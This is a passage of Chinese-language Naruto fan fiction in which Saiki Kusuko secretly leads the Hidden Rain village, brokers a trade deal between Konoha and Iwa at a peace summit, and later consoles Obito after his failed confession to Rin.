大蛇丸摆了摆手,前往木叶大门。 在那里,拥有轮回眼的长门,灰发的旗木卡卡西以及奈良鹿久的小队已经在等待。 大蛇丸挑了挑眉,“没想到除了鹿久,居然是派了卡卡西你跟着吗?” “是的。”卡卡西并未多说,他是带着波风水门的飞雷神印记前往的,必要的时候,波风水门会出现。 大蛇丸自然也想到了这一点,他嘴角微微扯起,嘲讽已然藏在了心中,和几人打过招呼之后,就迈步出发。 ‘希望一切顺利。’卡卡西最后看了眼木叶大门,迅速跟上。 ----------------- ‘无聊。’齐木楠子转着笔。 大蛇丸留下的那沓习题中,只有一部分是测试她能力的数学题,只要翻翻公式,她就能轻易答对。 而后是有关于物理、化学的那些,这些的重点是要找对书,能够理解其中的内容。 最后则是生物,需要记忆和想象力。 这些题按照由浅入深的顺序排列,时而还能相互呼应,反而有温故而知新的效果。 只是楠子觉得,大蛇丸最初将这些题摆出来,绝对不是出于好意。 ‘这其实是给我的下马威吗?倒是挺别致的,只是有点浪费时间。’ 并不是说她不爱学习,只是被人盯着,不能使出超能力,只能一页一页地翻书查找,实在太过无聊。 ‘要是能用关键词检索就好了。……等等,检索?’ 这不是有现成的图书管理员吗? 楠子在做个普通人慢慢翻书和投机取巧之间迟疑了一秒,选择了以普通人的身份投机取巧。 她站在了那位前辈的面前。 “前辈,猜拳吗?” “什么?”前辈抬起头。 “三局两胜,如果我赢了,就告诉我题目的参考书在哪里。”楠子那双无机质的眼睛望向了他,微微压低了下巴,“前辈,你不会怕输吧?” “呵!忍者可不能轻易地中激将法啊!”前辈似是无奈地摇头。 楠子垂下眼,淡漠道:“输的人还需要给赢的人买鳗鱼饭。” “忍者就是要迎接挑战!”前辈画风一变,目光灼然,举起了已经握成拳头的手,“那么,开始吧!” ‘呵,男人。’楠子歪嘴一笑。 27.会面 “你说,这是雨隐村?” 大蛇丸挑着眉看向了天空。 第二次忍界大战时,他曾和自来也、纲手在雨之国盘桓许久,对雨之国的印象不可谓不深刻。 那时候雨隐村的天空就像是脏臭的海绵,不用挤就能滴出水来。 而眼前这块“海绵”却像是从中被人挖出了一块规则的洞,太阳从那洞中探出头来,再也不吝惜它的光芒,将那暖阳播撒了雨隐村满脸满身。 那阴暗潮湿的建筑群不再显得颓废,反而有种整齐划一的美感,尤其是中间那块规则的四方体高楼。 最令人觉得怪异的反而是村子边缘一个半跪于地,捧着巨大盘子的紫色人型。 身形奇怪,配色奇怪,盘子上那盘着的火龙更加奇怪。 “那是什么?”大蛇丸转头去问长门。 一路上,他已经凭着自来也队友的身份和对方打好了关系,此刻长门自然诚恳答道:“栗子,也就是我们的首领,她说那叫‘初号机’。” “初号机?是机器?”大蛇丸更觉怪异了。 长门摇摇头,无论是他还是弥彦,其实都没有质疑栗子的资格。 这个“初号机”的名字还是斑大人吐槽那雕塑太丑的时候,栗子说的。 “你懂什么?如果选对了驾驶员,它就是最强机体!” 这个时候,栗子倒是和她的兄长晓有些相似了。 ‘如果可以,希望这次会盟还是栗子来主持比较好。’长门有些忧心。 在他看来,晓大约因为是男孩子,实在太过嚣张,可能会引起其他两个村子的不满。 一路上,想要知道雨隐村情况的大蛇丸早就询问过长门,得知所谓的“雨之国的主人”晓其实并不是晓组织的创始人,他还有个妹妹栗子,比晓更加冷静,她才是一举颠覆雨隐村的那个。 “原来如此,只是,那个晓嚣张的表现,应该只是虚张声势而已,不然,可没法说动木叶的忍者啊。”好为人师的大蛇丸忍不住为众人分析,可长门就是觉得栗子比晓更适合主持这次会盟。 毕竟,他是真心希望这次会盟能顺利完成的呀。 ----------------- 没多久,岩隐村的使者和木叶村的使者先后到达。 宇智波斑站在高大的初号机上,俯瞰着两边的忍者穿过雨隐村明亮干净的街道,面无表情。 “兄长,你在这里。”泉奈走了过来,视线同样忘了过去,“要去和木叶的忍者打个招呼吗?” 他知道,兄长的答案,当然是“不”。 “不。”宇智波斑转过头,看向泉奈。 突兀的黑白面具,罩住全身的黑色罩衣,他常年不见光的模样,看着就令人心生不满。 可是没有办法,他的弟弟宇智波泉奈现在依旧只是木制的人形。 而他,已经老迈了。 望着泉奈,他喃喃发问,“泉奈,阻止岩隐村和木叶之间的战争,这样真的能帮助到你吗?” 在斑的眼中,这些年间依靠着救人积累的功德,他的弟弟已经从一个只能掌控小小布偶的人形变成了和楠子一样高的少年了。 泉奈顿了两秒,道:“我不知道。” “什么?!” 面对斑讶异的面容,泉奈目光一转,“这并不是直接的因果,如果那样也算数的话,只要你杀人,我救人就行了,并不需要改变忍界。” “是这样吗?”斑的神色越发严肃。 他并非真的完全信任自己弟弟的言论,或许此刻泉奈只是想让他在生命的最后时光,不做一个忍界的反叛者而已。 可是,他已经太老了,老到只要是有一线希望,都会倾尽全力去做的地步。 “那……就这样去做吧,放心,我会盯住山椒鱼半藏的。” “嗯。”泉奈答应着,目光朝下,看向了会议厅中。 两村的忍者已经在惊讶之中攀上了议事厅,走到其中才发现里面的座椅就在他们面前发生了变化。 像是有人在用土遁操控,原本的圆环形桌面变做了几个方形长桌,排成了四边形,晓的忍者示意他们相对而坐。 正中的那一边,带着面具的山椒鱼半藏走了进来,看了两村人一眼,坐在了左手最后的一个椅子上。 而后是闪身进来的老迈忍者和全身包裹在罩衣下的黑衣人,分座次坐在了主位左右两边。 接引的弥彦走到了右手边的椅子上坐下。 而后是晓的一些忍者和其余人都坐在山椒鱼那排的正对面,拿出纸笔准备记录。 大蛇丸暗自观察着,心中微动,他站起身来,行礼致意:“山椒鱼大人,好久不见。不知,您还记得我吗?” 山椒鱼半藏的眼风扫过他,“我当然记得。” 大蛇丸显得越发诚恳,“当年那场大战,我收获良多。只是没想到,再见面,居然会是这幅情形啊……” 他的语调一唱三叹,好似真因为山椒鱼半藏现今不是雨隐村的主人而惋惜一样。 “呵,那种小儿科的战斗,也不知道有什么好提的。”坐在另一侧的老者出声。 发现被这样嘲讽,山椒鱼居然没有反应,大蛇丸落在山椒鱼身上的目光一顿,转向了那位老者,“还未请教,请问您是?” “哼。”那位老人瞥了他一眼,干脆抱手不言,反而是那黑衣人搭了话。 “你可以叫他斑,而我,是泉奈。” 斑?泉奈? 大蛇丸心中一惊,‘不、不可能吧?’ 身为纲手的队友,又已经钻研过一些二代的研究,他自然对于建村之初的历史略知一二。 这两人的名字居然和那宇智波一族的两兄弟一样吗? 可泉奈不是已经死去了? ‘等等,如果是宇智波斑的话,那么……轻易打败山椒鱼半藏,颠覆雨隐村也是可以理解的吧?’ 被那巨大的惊愕填满,他甚至一时之间都没有再行刺探,直到身后又一个忍者到来。 “抱歉,我来迟了。” 是波风水门,他面带笑意,看向了对面的岩隐村使者,而后又向着中间的几位致意,“本来木叶大蛇丸大人前来已经足够,不过,是我特意要求一定要到场,希望大家不要介意。” 还能说什么呢?大家自然是不介意的,只是大蛇丸熄了火,那边岩隐村自然又有忍者做出一副黑脸的模样。 “不是说要调解吗?怎么你们的人还没来?不会是怕了吧?”他 嗤笑着,“我们这边可是来了土影大人的儿子,黄土大人,怎么你们居然还敢怠慢吗?” 大蛇丸抬起了眼,瞥了一眼雨隐村的忍者们,心下冷汗,‘这不是怠慢,而是阵容太豪华了才对啊!’ 他正感叹着,忽而感觉这空间有所波动,余光扫过波风水门,就见他也正色起来。 ‘哦,正主,来了。’大蛇丸也集中了精神。 ----------------- “抱歉,只是今天太过重要,我想先好好换身衣服,以示尊重而已。” 楠子确实好好换了身装扮。 此次会盟对于雨隐村意义重大,作为“雨之国的主人”,她也只好遵循“人靠衣装马靠鞍”的朴素原则,变出一身华丽的衣服以作应对。 ‘绝对不是怕某个忍者认出来,绝对不是。’楠子的目光冷淡地撇过了站在波风水门身后的旗木卡卡西,毫不意外地发现对方的心声对于自己的穿着无动于衷。 ‘啊……如果他对于我平时的装扮也如此平淡就好了。’ 这样想着,她从虚空中再次闪现,坐到了正中的主位上。 身上的深灰色风衣与现实世界历史上长款军服类似,下面是黑色的半裙,脚踩一双皮靴,长款兜帽斗篷和黑白的面具则将所有易于辨认的特征掩盖,只有那繁复的金色花边和金属装饰占满了人的眼睛。 她坐在主位上,撑住了下巴,声音低沉,“那么,请开始吧。” 讨论确实开始了,但是听了没多久,楠子就发现这没什么益处。 首先是木叶一方指责岩隐村居然进攻,而后岩隐村避而不谈,开始说自己的忍者在雨之国境内被扣留,并未真的造成损害。 争来争去,令人厌烦。 而在这其中,肩负着晓组织理念的弥彦试图劝解,却被两堆人一同堵了回来。 “这是大名的命令。”黄土说。 “抱歉,我赞同你的理念,但是……”波风水门苦笑道。 渐渐的,连弥彦也沉默了。 ‘果然变成这样了啊。啊……弥彦看我也就罢了,为什么斑爷爷和泉奈也在看我?’ 楠子虚下眼,清咳一声。 会议室顿时安静下来。 不是因为两方人的尊重,而是因为他们都想看看这位“栗子”要搞什么名堂。 “栗子”,也就是楠子,不想搞名堂,她只想解决问题。 她对着两方人说:“我现在要说的内容,可能有点露骨,不如,你们两方都只留下能做主的忍者?” 率先发难的是岩隐村的“黑脸”,“要说就这样说!我们没什么不能听的!” 木叶村这边则是波风水门,他看了看鹿久,收获到对方不赞同的眼神,再看向大蛇丸。 这位三忍之一不知为何,垂着眼眸,似是半睡半醒,早已一言不发,也没给出任何暗示。 波风水门只好道:“木叶也是同样。” 楠子点了点头。 早遇到坦诚布公没有这么容易,那么她就收敛一点好了。 她迟疑了一瞬,道:“一切战争都是为了政治服务,所以,我们只要把政治的账算清楚就好。我有个提议,不知道你们是否愿意听一听。” 28.教导 面对两方人马,楠子侃侃而谈。 并不是她想要做这种判官的角色,而是这个世界上能将这些事这样说出的,似乎只有她。 “土之国多矿产资源,火之国物资丰富,我认为,我们可以就此进行交易。”楠子顿了一下,“雨隐村会确保两方商品的顺利转运。” “什么交易,这和忍者有什么关系!”岩隐村那边唱黑脸的大声说着,可是他声音一响,就发现场中似乎人人震动,只是震动的理由绝不相同。 波风水门是讶异,大蛇丸是恍然,奈良鹿久此刻终于无法再做主,看向了大蛇丸。 大蛇丸的目光则落在了黄土身上。 他是大野木的儿子,知道的比那位黑脸忍者多的多,此刻嘴唇翕动了几下,居然说:“这件事,我需要和土影大人商议。” “商议?商议什么?”没想到,问出口的居然是宇智波斑。 啊,或许也只有他了吧? 年迈的忍者转头望了过来,蹙眉的样子几乎和年轻时没什么差别。 “栗子,你最好说清楚!” ‘有什么可说的,说出来只是让大家都丢脸而已。’ 楠子不语。 楠子看向了泉奈,‘管管你哥。’ “实际上,我也想知道。”泉奈发声支援,“你又获取到什么情报了吧?” 楠子沉默了。 泉奈只想着他哥,啊不,还有在场的晓忍者,一点都不顾及木叶和岩隐的面子。 没想到这个时候,大蛇丸的头脑却转的很快,终于发挥了他智谋之士的风格。 他勾起嘴角轻笑道:“原来如此,原来,想开战的并不是土影,而是……呵,我就说,70多人的部队是能够杀伤,但是倒也不至于让木叶伤筋动骨,土影到底推这些人来送死是为了什么,原来如此,原来如此。” 他的目光就如同毒蛇,划过对面岩隐村的忍者,毫无意外地发现其中一位猛得站起身,“土影大人怎么可能送我们去死!木叶的忍者,你不要……” “好了。”楠子沉声打断。随着她的声音,所有人都凭空感觉到一股压力,让人动作不能。 她看向了大蛇丸,“身为忍者,还是不要随意品评外国的忍者比较好。毕竟,有些事,不提还好,如果真的说出来,可就怎么都打不住了。” 连舌头都不能随意动作,大蛇丸的冷汗都要下来了,微微点头致意,那模样居然还显得挺有风度。 楠子微一点头,“今天就先到这里吧,雨隐村应该已经为大家准备了居所……” “没有。” ‘呃?什么?’楠子转头去看说出这话的泉奈,只见他也转过了头,“大家都在等着你建新的楼。” 两人对视了几秒,楠子就明白了。 ‘说什么等我建楼,其实就是还想我再展示一下超能力吧。’ 确实,现今的忍界没有力量,就没有话语权。 只是…… “你如果早这样安排,就干脆把雨隐村整个儿重新设计一下算了。”楠子说着,微微抬手。 没一会儿,对面就“长”出两栋新的大楼来。 因为这议事厅看似四面开阔,反而一切都看得很清楚。 原本坚硬的土地从中间突兀地裂开,其他楼宇则像是板块一样平移开来,让出了一块地方。 楼里的人似乎感受到了震动,纷纷在窗口张望。 可那一张张脸上,有新奇,有担忧,偏偏没有恐惧。 而后惊叹着看着那栋大楼“长成”。 这下子连大蛇丸都微微张嘴,目不转睛。 “那么就这样吧,会议结束。”楠子说着已经站起了身。 ----------------- “大蛇丸大人,现在这样的情况……”波风水门有些犹豫。 大蛇丸反而理都没有理,他还是紧紧盯着那栋大楼,随口道:“啊,你就回去汇报吧,反正也没什么大事。” “可是大蛇丸大人……” “没什么可是的。”大蛇丸终于将自己的目光分给了波风水门一些,“你应该明白的吧,有些事可不是忍者能够决定的。” 撂下这句话,他已经朝着大楼走去,甚至超过了前面引路的忍者。 波风水门蹙了蹙眉,回过头就对上卡卡西担心的眼神。 “师父,没问题吗?” “没事的,卡卡西,我和鹿久一起回去,你就在这里。” “好的。”卡卡西点头应是,只是这个时候波风水门又停顿了一下。 他微笑起来,“话说,你需不需要我带回去什么东西呢?” 嗯,带回东西? 卡卡西有些意外,只是脑海中闪过了楠子的脸,他忽然明白了水门在揶揄些什么,顿时脸涨的通红。 “怎么会呢?”他小声喝道,“现在可是执行任务当中呢!” “嗯,嗯。”波风水门点着头,嘴角的笑意依旧那样温暖,“但是有的时候,生活还是需要一些小的意外的哦。” 见卡卡西又在反驳,说什么他执行任务时,绝对会认真之类的事。 波风水门一边听着,目光再一次落到了长门的身上。 他那一头红发可真的会令人在意啊,只是,现在完全不是询问的时机罢了。 ----------------- 底下的忍者正在讨论,而上面的忍者也正在准备开会。楠子依旧坐在主位上,只不过这一次换做了撑住下巴的姿势。 看着围绕在圆桌周围坐下的忍者,楠子说: “现在来看,我布置的课题不是一个都没有完成吗?如果什么都需要由我来做决定的话,你们到底有什么作用呢?嗯,山椒鱼大人。” 她的头偏转过来,黑白色的面具直直朝向了那边的山椒鱼。 山椒鱼的喉头有些发涩,他可没想到这把火第一把就烧到了他的身上。 “我只是没有想到……”他说着,语言竟越来越顺畅,“我这边可没有必要的情报,而且我一生以来都只会打打杀杀的,就像你说的一样,遇到这样的事,我又能有什么办法?” 他双手抱胸,做出一副防守的姿态立在那里,任谁也拿他没有办法。 楠子深深地看了他一眼,但也不知道山椒鱼半藏有没有接收到自己这面具下的眼神。 她又看向了弥彦:“你没有跟山椒鱼大人学会些什么吗?比如厚脸皮什么的。” 弥彦猛得一滞,他方才还真的想说一些建设性的话呢。 此刻他迅速的瞥 了一眼神色不好看的山椒鱼半藏,而后干巴巴道:“抱歉,我以为能够说动他们。” “但是我早就说过了吧,只有理念,没有实际可行的办法,是没有办法说服别人的。” 楠子蹙眉说着,然后又转到了泉奈身上:“你难道就没有承担起引导他们的义务吗?” 这可是她最期待的“智囊”啊,可没想到,泉奈竟然沉默着不说话了。 她眯了眯眼,收回了目光,沉声说:“在这之前,我已经去土之国进行了查探。 “水之国的大商人付出了一大笔钱给土之国的大臣,只为了让他建议大名向岩隐村下达命令,突袭木叶村。 “大野木当然不想做,毕竟这样忍者村什么都得不到,但是因为是大名的命令,所以他不得不做,甚至必须要做的漂亮,于是才派出了这七十人的队伍。他知道,那支部队,十死无生。” “什么?!”晓的几位忍者眼神震动,他们从没想到真相居然是这样。 而方才会议当中发生的种种怪异,顿时也有了解释,比如为什么黄土会突然阻止那黑脸忍者说的话,为什么东死人又会那样愤怒。 楠子为什么会将话题转向贸易,而大蛇丸又为什么会截断话题的原因也不言自明。 弥彦沉默着,没想到自己无法说服两方的原因竟然不在于忍者,而在于其他的事。 “我都说了,战争是政治的延续,你们还有的要学呢。只是在这段时间之内,我希望你们能够引导这次会议,毕竟我也没有那么多时间来一项一项盯着。” “我很忙。”楠子试图传达这件事,现在她是真身而来。 但如果这边的日程和根组织的日程重合,她就得利用时间跳跃。 而她也真的不想进行那么多次时间跳跃。 诚如之前所说,她所使用的时间跳跃是有限制的。 她也不想养成玩弄时间的坏习惯。 一旦过于依赖自己的超能力,那么生活自然就会没有了乐趣。 就想开了作弊器,会直接减少游戏的游玩寿命一样。 ‘我这一生,如履薄冰啊。’齐木楠子如是想。 所有人都沉默不语,气氛有些尴尬,长门顿时有些着急。 事情必须要延续下去啊,于是他问:“木叶和岩隐村真的会答应这次交易吗?” 看到众人的目光看来,他才抿了抿唇镇定道:“如果按照栗子说的去想的话,这件事恐怕并不是他们能够做主的吧?” 楠子赞赏地看了长门一眼,但她戴着面具,长门自然不能接收到她的情感。 ‘下次要么还是做一个电子屏的面具吧,这样至少能够发表情包。’ 楠子想着,道:“会成功的。不然你以为为什么土之国会袭击木叶呢?又为什么会需要那笔钱呢?” 她耐心解释:“忍界都在互相戒备,各国商路都不通,土之国的矿石没办法卖出去,又大多是不宜种植的山地。他们本国内经济也是很紧张的。 “现在唯一资金上或者说物资上有所宽裕的就只有火之国了。如果能够确保将火之国的粮食运输到土之国,那么土之国的大名也无话可说。然后将土之国的矿石卖给火之国,这样土之国境内的势力也不会有什么言语的,毕竟他们都看到了利益。” 29.木叶的日常 她将这些事说出,议事厅里的忍者大多一副讶异的模样,居然连山椒鱼半藏也是如此。 楠子瞥了一眼山椒鱼半藏。 ‘这世界的忍者真的都是偏科啊,连曾经主导一国的忍者都这样。’ 但是想想看,他们十几岁就上了战场,没有接受过完整的教育。 人能在一个方面做到顶尖,就已经很出色了,这样一想,他们不熟悉内务,也是正常的。 “所以这次的盟约是一定会成功的,不成功,我也会让它成功。” 楠子的语气随意,像是说一件小事,但后面的才是重点。 “我希望你们能够达成的,就是借由这场交易,站稳自己的脚跟。毕竟一旦打开了商路,岩隐村的忍者和木叶的忍者就可以把我们甩开。 “可雨之国是我们的,我们不能让他们在我们的国土上横行无忌。所以我们要争取维护商道的权利,从中获得利益。 “如果少了一条经济线,就不知道什么时候还会有机会了。你们,明白了吗?” 她的目光落在了以弥彦、小南和长门为首的晓忍者身上。 所有人面容一肃,立刻称是。 而后她又看向了山椒鱼半藏:“那么就还是请斑大人和半藏大人作为压舱石,为他们保驾护航吧。对方连土影的儿子和大蛇丸、波风水门都派出了了,可别真让人看不起了。” 半藏没有反应,斑哼了一声,不再说话了。 几人既已离去,硕大的会议厅内只剩下了泉奈和楠子。 这是因为大家都明白,方才泉奈的沉默,正是有事要私下对楠子说。 还未等楠子开口,泉奈已经询问:“我兄长的身体如何呢?” ‘呀嘞呀嘞,在这个时候居然问我这个吗?’ 已经有几分放松的楠子,虚着眼看向了泉奈。 她知道泉奈这是在隐晦地表明,他宇智波泉奈只是因为自己兄长的身体以及志向,所以才会帮助雨隐村。 这里并不是他的家,所以也别指望他会尽力。 可他的心声不是这样说的。 一直以来,泉奈只以为与楠子之间精神的交流,是思维投射那样的忍术或者是能力,如同当初她对斑做的一样。 实际上他并不知道,楠子可以时时刻刻聆听他们的心声。 【如果我把他们教的那样出色的话,神……还会出手吗?】他如此想着。 ‘可不要把我当做神呐,我可是想以普通人的身份过完这一生的。’ 可她还是heart软软,不是啊,她真的得说,忍界的老男人,即便只是灵魂,也有独特的魅力。 何况还是这样绝望的愿望呢? 只是她目光一转,底下卡卡西灰扑扑的头发,正向着那边的大楼行去。 卡卡西最后也会变成这样吗? ‘不可能,绝对不可能!’ 楠子几乎是被自己的想法激得抖了一下,而后迅速肃下神色。 “虽然我年纪小,但我可不是那种不负责任的人。即便你和斑做的不好,我也会帮助斑延续寿命的,哪怕我更崇尚的是自然死亡。但是你一定是希望你的兄长能够看到和平的景象的吧。如果这是你的愿望,就努力去做,还是不要期待一个十二岁的小女孩比较好。” 她说着,就感觉到泉奈的脑海中又跳出另外的想法。 关于她力量的,关于她学识的,关于她做事方法的…… 哎呀呀,他就是不肯承认她齐木楠子就是一个稍微有点能力的普通人而已。 这让楠子又想到了一个问题,“雨隐村还根本没有小学吧,就算是仿照木叶也好,赶快把架子搭起来。不要以为自己一百多岁了就能偷懒,这话也附赠给你,斑爷爷。” 她大声说着,毫不意外听到房顶上传来又一声冷哼。 “木叶的家伙真的是越来越不像话了,居然想着挖点土回去做研究。” “啊……是大蛇丸吗?无所谓啦,反正都是当地的土。”楠子说着,伸出了脑袋仰头去看,“这不是活力满满吗?有空的话,跑趟岩隐村吧,给大野木施加点压力。” “嗯?木叶不需要吗?”斑垂下了眼眸。 面具下,楠子勾了勾唇角,“猿飞日斩?你觉得他需要?” 雨之国的风儿中,两人一同“邪笑起来”,独留宇智波泉奈一个人站在了议事厅里,默然无声。 ----------------- ‘呀嘞呀嘞,玩乐的时间结束了。’ 楠子回到了木叶,今天是她入职根组织的第六天,也是难得的休息日。 ‘是要继续看书呢?还是去买零食,要么去买咖啡果冻,而后找个地方睡觉吧。’ 所以说啊,她就不适应繁忙的生活。 到了商店,看着两种咖啡果冻的价格标签,她停下了脚步。 到底买哪一个好呢?说起来,根组织的工资什么时候发下来啊?还有那笔奖金什么时候能兑现?要么去电视台转一圈? 不了,那样还要带伴手礼,要么去找奈良鹿行问吧? ‘嗯?’她的目光一顿,拿起了一提咖啡果冻,结账之后,脚步微移,就出现在一棵大树之后,向着另外一边看。 抱着花的宇智波带土和野原琳正在另外一边的大树下。 ‘是告白成功了吗?真是可喜可贺。’她打开一盒果冻,就用两人青涩的爱恋下饭吧,‘……额?’ 她眼睁睁看着野原琳鞠躬、道歉、跑走,一气呵成。 带土伸着手,几乎是石化在了那里。 ‘啧……我还是走吧。’只是楠子刚转身,脚步又是一顿,她转过目光向着不远处的树丛看去。 树丛里长出了两个小孩。 瞥了一眼兀自泄气的带土,她比了比自己的眼睛,又指了指那丛树木。 ‘I'mwatgyou!’ 5分钟后,公园的另一处。 齐木楠子看着面前的两个宇智波,心里还在想,木叶这是怎么了? 怎么就一茬一茬地长天才呢? 可沉默了几秒,她还是说:“躲在树后,嘲笑勇敢的前辈,这可不是好事呢。” 目光落在鼬的身上,几乎有些严厉。 鼬明显像是知道自己做了“坏事”,向后缩了缩,而另外一个稍大些的孩子则站了出来。 “不是哦!是我们先在那里,而后带土前辈才出现的!”那孩子停顿了一下,“我叫宇智波止水,倒是大姐姐你,不是忍者,躲在那里干什么呢?” 【我居然没有发现!】他的心声如是说。 ‘嗯?糟糕,太集中于八卦,居然忘记了查看周围吗?’楠子目移。 一定是这两个小孩什么都没想,她没听到两人的心声,所以才以为没人的缘故。 说起来,明明是在自己居住的村子,到底有什么警惕的必要啊。 一想到这里,楠子又觉得理直气壮。 “我不是在躲,只是觉得不好出现。” “是骗人的吧,我看到你拿出咖啡果冻还打开了!”止水拿出“证据”。 ‘骗人的是你才对,分明是看到我手中开口的咖啡果冻,才这样猜测的。’ 楠子干脆将自己手中提的袋子抬了起来。 “那么扯平了,你们俩一人一个,带土的事,可不要往外说了。” “嗯?”止水有些讶异,可他实在是个开朗的孩子,高高兴兴地就拿了两个,分给了鼬。 三人坐在公园的桌椅上吃咖啡果冻。 “我们一开始真没意料到那是告白,”止水说,“那个姐姐好像是带土前辈的队友,我们以为是任务上的事,所以才想听听看的。” “哦,是吗?”楠子早就知道了,“只是如果是任务上的事,才更不应该听吧?” “额?那个、我也是忍者呢!” “那你的忍者头带呢?” “我只是今天没有带啦!”止水说着,在楠子正经的目光中瘪了瘪嘴,不过很快就高兴起来,“但是我已经学会了很多忍术,明年,不,后年一定可以毕业成为忍者了!” “嗯。”楠子点点头。 无疑,无论是止水还是鼬都天资出众,身为下忍的带土居然没有发现,也真是…… 他真的不会突然死在某次任务当中吗? 可真让人担心啊。 “姐姐。” “嗯?” “你是叫齐木楠子对吧?” “是啊。”楠子已经听到了止水在想什么,可她还是听了下去。 “太好了!我在电视里见过你!你是《最强头脑王》的冠军吧!我爸爸说那节目有黑幕!真的有吗?” “没有哦,我是实打实的冠军。” “那你真的在围棋方面,打败了大蛇丸大人?” “那是因为大蛇丸大人忙于其他的东西,所以根本没时间磨炼棋艺。” “我听说,姐姐,成为了大蛇丸大人的弟子。” “嗯?”楠子微微一怔,看向了鼬。 说起来,每次见到他,他都显得怯生生得,可是,那是真可爱啊。 “哇!姐姐,你看着鼬就笑起来了。” “我没有!” “你就是有!” 楠子可不想被当成喜欢正太的变态大姐姐,只是某一个时刻,她和止水在同一时间静默下来,而后是鼬。 “你们先回家去吧。”楠子说。 “嗯!那姐姐下次还要请我们吃甜点!” ‘不,姐姐没钱,姐姐不请。’楠子试着微笑,看着两个小孩跑远,另外一个半大的少年拖着脚步,甫一落座,就趴在了石桌上。 沉默是今日的儿童公园。 眨了眨眼,楠子说:“为了纪念这一天,我请你吃晚饭吧,带土。” 半晌,桌上传来闷闷的一声。 “我要吃烤肉。” 楠子眯了眯眼睛,“带土,不要得寸进尺。” 等了两秒,带土还是不动,听到那带着潮意的心声,楠子呼出口气,站起了身:“起来吧。” “……什么?” “不是要吃烤肉吗?在我改主意之前,快走吧。” 30.归来 “阿唔阿唔阿唔。”看着带土狼吞虎咽,楠子目光微虚。 ‘说什么不想活了。这胃口不是很好吗?再也不能相信了,男人的谎话。’ 捧着水杯,她慢慢喝了一口,准备等带土吃完了就回家。 可最后,反而是带土盯住了她。 “你就不问一下吗?”他眯起了眼睛,脸上依旧带着稚气。 “什么?”楠子面无表情。 “啧,就是这一点,你们俩真是超级像。”带土又垂下了头猛猛吃。 和谁像?卡卡西吗? 楠子不置可否,语气平淡,“告白失败,倒也没有必要那么伤心。” “额咳咳咳!我可什么都没干!没干!” ‘什么叫你什么都没干啊。才十二岁,你是想干什么啊?啊……好脏。’看着带土呛得鼻涕眼泪一起流,楠子抽了条纸巾给他。 正在找水的带土顿了一下,才接过,而后捂住了脸。 闷闷的声音从那纸巾后传了出来。 “谢谢。” “啊,没什么,这是朋友应该做的。”楠子眨动了一下眼睛,“说起来,你告白的时机选的也太差了。” 见带土没有做声,楠子继续说了下去,“初恋失败的概率可是很大的哦。现在十二岁就开始谈,离结婚至少还有六到十年,你真有信心撑那么久啊?还是说,你只是准备享受恋爱?” 再说了,十二岁的小孩要享受什么恋爱啊!给我起来学文化课! 楠子没将最后一句话说出口,毕竟眼前的带土真的很可怜了。 “我是认真的。”带土闷声说。 ‘我知道。’楠子想着,她还知道带土7、8岁开始就喜欢琳,这么漫长的时间都没有磨灭他的爱,倒也足以令人感动了。 但是…… “如果觉得自己很喜欢对方,对方就需要回应自己的话,可会变成令人讨厌的男人哦。”她撑着下巴说。 “……嗯。” 楠子又眨动了一下眼睛,“纱织奶奶最近身体还没有起色吗?” “……” “我最近拜了大蛇丸大人为师,他是纲手大人的弟子,说不定有机会问一下呢。” “如果能那样,可真太好了。”带土的声音依旧闷然。 楠子自然能够明白,他的心音正在说: 【奶奶只不过是平民,我连中忍都不是,大蛇丸大人怎么会帮忙呢?】 ‘大蛇丸是不会帮忙,但这不是有心软的神在这里吗?’ 楠子微微偏头,‘纵然这样使用超能力有损我的原则,但是就让生命延续到你能接受家人的死亡为止,也无妨吧?’ 看着那头仿若刺猬一样的头发,她不由得叹气。 ‘呀嘞呀嘞,想要当一个普通人还真是难啊。’ ----------------- 岩隐村和木叶村的商议如楠子所预料的一样,只要谈妥就一切都很快。 而且大概是迫于压力,两个村落也并未甩开雨隐村,而是以任务的形式确定了任务佣金。 “我本来想说以收税的形式的,算了……既然是你们的想法,那就这样执行吧。” 楠子算是认可了这个方案,看到晓里面那些比自己大的多的忍者,露出欢欣鼓舞的神情,她的神色也不禁放松了。 “你这个面具,有点恶心。”宇智波斑不赞同地看着她那带着显示屏的新面具,上面正如LED显示屏一样,出现了一个“^v^”样的表情。 楠子不高兴,“那是你不懂潮流吧,大叔。=_,=” “啧,好恶心。” “你就是不能理解年轻人啊,我就原谅你好了。=3=” “可恶,不要靠过来啊!” 雨隐村一片欢悦,处于木叶的根组织则完全不同。 “你说,她已经把所有的题做完了?”大蛇丸讶然问,看着自己面前正在猛推眼镜的助手。 “是、是这样。” 他扯了扯嘴角,“可是,我记得除了原本的题目,我还布置了一堆超纲的东西,需要翻书学习才对吧?” “是这样,那个……”助手搓着手,“因为好不容易来了一个漂亮的小妹妹,所以大家都很兴奋,于是就自告奋勇为她进行了讲解。” 大蛇丸眯起了眼睛,“良渚,说实话。” 危险的气息溢散在实验室中,良渚立马双脚并拢,弯腰鞠躬。 “抱歉!大蛇丸大人!因为齐木楠子说要猜拳打赌,大家想要教训一下她,就答应了,没想到,没想到她一次都没输过啊!所以,大家就只能回答她的问题了!”还顺带请她和孤儿院的孩子们吃了几天的大餐。 良渚想着自己日趋干瘪的钱包,几乎想要流下泪来。 没办法啊!哪怕是再怎么坏的人,面对一个12岁的小女孩和同僚们的视线,也没办法厚着脸皮说要反悔啊! ‘傻瓜!’ 看着自己这位助手,大蛇丸在心中狠狠唾骂。 他不用细想就能猜到究竟是发生了什么。 齐木楠子那个女孩根本不是会踏实学习的那种,如果是,她至少早该学会了三身术! 他布置下来的那些题目,本意除了要告诉对方学海无涯之外,还想磨磨对方的性子。 等自己回来,面对因无法完成题目而失落颓丧的齐木楠子,就可以摸摸她的头,而后温柔地说:“没关系,你不懂的还很多,就在我的带领下和大家一起学吧!” “师父!”齐木楠子双手握拳星星眼。 这才是正确的剧情吧! 可如果他此刻的心声被楠子听见,那么她一定会面无表情地说:“让你PUA的打算失败了,还真是抱歉啊。” 此刻,大蛇丸只能试着平心静气,毕竟这还是在木叶,人设不能倒。 他嘴角抽搐了一下,“没关系,良渚。”这些题目不可能都做对,大蛇丸仔细判别,将背后双手握拳星星眼,叫着“大蛇丸大人!”的良渚抛诸脑后。 没错,没错,没错…… 可是为什么没有解题过程? 大蛇丸问:“你们有帮她解题吗?” “那倒是没有,齐木楠子只询问了相关的内容大概在哪本书上。”良渚回答着。 实际上,如果齐木楠子真的询问答案的话,前几位也会因赌约而回答,但是接下来绝对没有人肯再和她赌了。 那可是大蛇丸大人布置下来的题目呀!谁敢真的帮她作弊? “嗯。”大蛇丸转过头,只能当楠子是誊抄了一遍。 